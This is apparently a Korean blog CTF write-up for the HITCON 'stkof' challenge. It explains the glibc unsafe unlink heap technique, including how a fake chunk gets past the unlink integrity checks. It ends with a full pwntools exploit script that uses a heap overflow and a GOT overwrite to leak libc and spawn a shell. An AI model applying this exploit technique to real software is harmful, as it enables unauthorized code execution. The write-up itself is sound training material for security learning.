티스토리 뷰

hitcon - stkof ( unsafe unlink )

처음 풀어보는 unsafe unlink 문제이다.

사실은... secret holder를 풀려고했는데 unsafe unlink기법도 익숙하지 않고, 한번도 해본적이 없기 때문에 연습삼아서 쉬운문제를 골랐당.

binary summary

  • heap overflow

  • unsafe unlink

  • got overwrite

unsafe unlink

대충 fake chunkunlink매크로의 호출 루틴에서 여러 보호체크를 우회하고 전역변수에 존재하는 값을 조작하는 기법이다.

핵심은 fake chunk를 두개 존재하게 한다는 것이다.

heap a, b를 할당하고 전역변수 c가 존재할때

  1. heap a속에다가 fake chunk a-1을 생성.

  2. fake chunk a-1fd , bk를 전역변수 cfake chunk형태에 맞추어서 설정

  3. b chunkprev sizePREV_INUSE bit를 조작

    a chunkfreed chunk 형태로 맞추어 줌

  4. b chunkfree해주면 전역변수(Target addr)에 a-1 chunkfd값이 적힌다.

쉽게 말해서 프로세스에게

a-1 chunk와 전역변수c가 서로 linkedchunk이다.

라고 속이는 기법이다.

이는 경우에따라 바이너리에서 제공해주는 edit 혹은 free, view를 할때 aaw, aar가 가능하도록 한다.

memory corruption check

최대한 이론은 빼고, binary exploit에 초점을 맞추어 작성하려고했지만, 이내용을 빼면 unsafe unlink 공부를 하는 것이 아니라고 생각이 되어서 넣는다...

#define unlink(AV, P, BK, FD) {                                            
   if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
     malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  
   FD = P->fd;                                  
   BK = P->bk;                                    
   if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          
     malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
   else {                                    
       FD->bk = BK;                              
       BK->fd = FD;  

unlink 함수 정의중 일부

우선 corruption check를 두개를 하는데,

  • next chunkprev_sizecurrent chunk size를 검사

    이를 우회하기 위해서 fake chunk구조에 prev sizesize 필드가 0x0값을 가지도록 한다.

  • FD->bk != P || BK->fd != P

FD->bk != P || BK->fd != P

  • victim chunkfd가 가르키는 chunkbk값이 본인(victim chunk)이여야 함.

  • victim chunkbk가 가르키는 chunkfd값이 본인(victim chunk)이여야 함.

unsafe unlink기법에서는 해당 corruption check를 우회하기 위해서 fd 에는 전역변수 - 0x18,

bk에는 전역변수 - 0x10을 저장했다.


위와 같이 fake chunk 구조를 만들어 두면 unlink과정에서 다음과 같은 모습으로 corruption check를 통과한다.


FD->bk != P를 검사할땐, fd chunkbk값이 자기자신 chunk로 인식 되도록 함.


BK->fd != P를 검사할땐, bk chunkfd값이 자기자신 chunk로 인식 되도록 함.

이를 위해서 각각 -0x18, -0x10을 넣어준 것이다.

이론으로는 이해하기 엄~청 오래걸린다.

이해하려면 문서 몇개읽어보고 바로 문제풀어보면서 이해하는게 짱인듯 싶다.

바로 익스 하러가자.

reference

http://lazenca.net/display/TEC/unsafe+unlink

func

  • 전형적인 heap chall

    • alloc func - size만큼 malloc만 해줌

    • free func - 원하는 idxfree

    • edit func - idx, size, data입력받음

      • size검사 안함 => heap overflow!!!

    • view? func - 진짜 의미없는 함수

      • 중간에 strlen(input) 을 사용 => got overwrite

libc leak

unsafe unlink한뒤에 전역변수 테이블 우리가 맘대로 조작 가능 + edit기능 있음

got overwrite으로 leak할 수 있는거 암거나 덮기 + 알아서 leak~

Exploit code

더이상의 설명이 필요없다.

leak이랑 unsafe unlink도 설명했고, heap overflow도 대놓고 있으니 익스 ㄱㄱ

from pwn import *

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recv()

def edit(idx, data):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(data)))
p.send(data)
p.recv()

def fr(idx):
p.sendline('3')
p.sendline(str(idx))
p.recv()

def view(idx):
p.sendline('4')
p.sendline(str(idx))

p = process('./hitcon_stkof')
e = ELF("./hitcon_stkof")
l = e.libc

puts_got = e.got['puts']

#context.log_level = 'debug'

ptr_s = 0x0000000000602140 + 0x10

alloc(0x80) # 1
alloc(0x80) # 2
alloc(0x80) # 3

fr(1)

pay = p64(0)*2
pay += p64(ptr_s - 0x18) + p64(ptr_s - 0x10)

pay = pay.ljust(0x80, "\x00")
pay += p64(0x80) + p64(0x90)

edit(2, pay)
fr(3)
pause()
pay = p64(0)*2
pay += p64(e.got['strlen'])
pay += p64(0x602148) # fflush var addr
pay += p64(e.got['atoi'])

edit(2, pay)
edit(1, p64(e.plt['puts']))
view(3)

libc = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - l.sym['atoi']
log.info(hex(libc))

edit(3, p64(libc+l.sym['system']))
view('/bin/sh')
p.recv()
p.recv()
p.interactive()


댓글
댓글쓰기 폼
공지사항
Total
7,553
Today
0
Yesterday
4
TAG
more
«   2022/01   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
글 보관함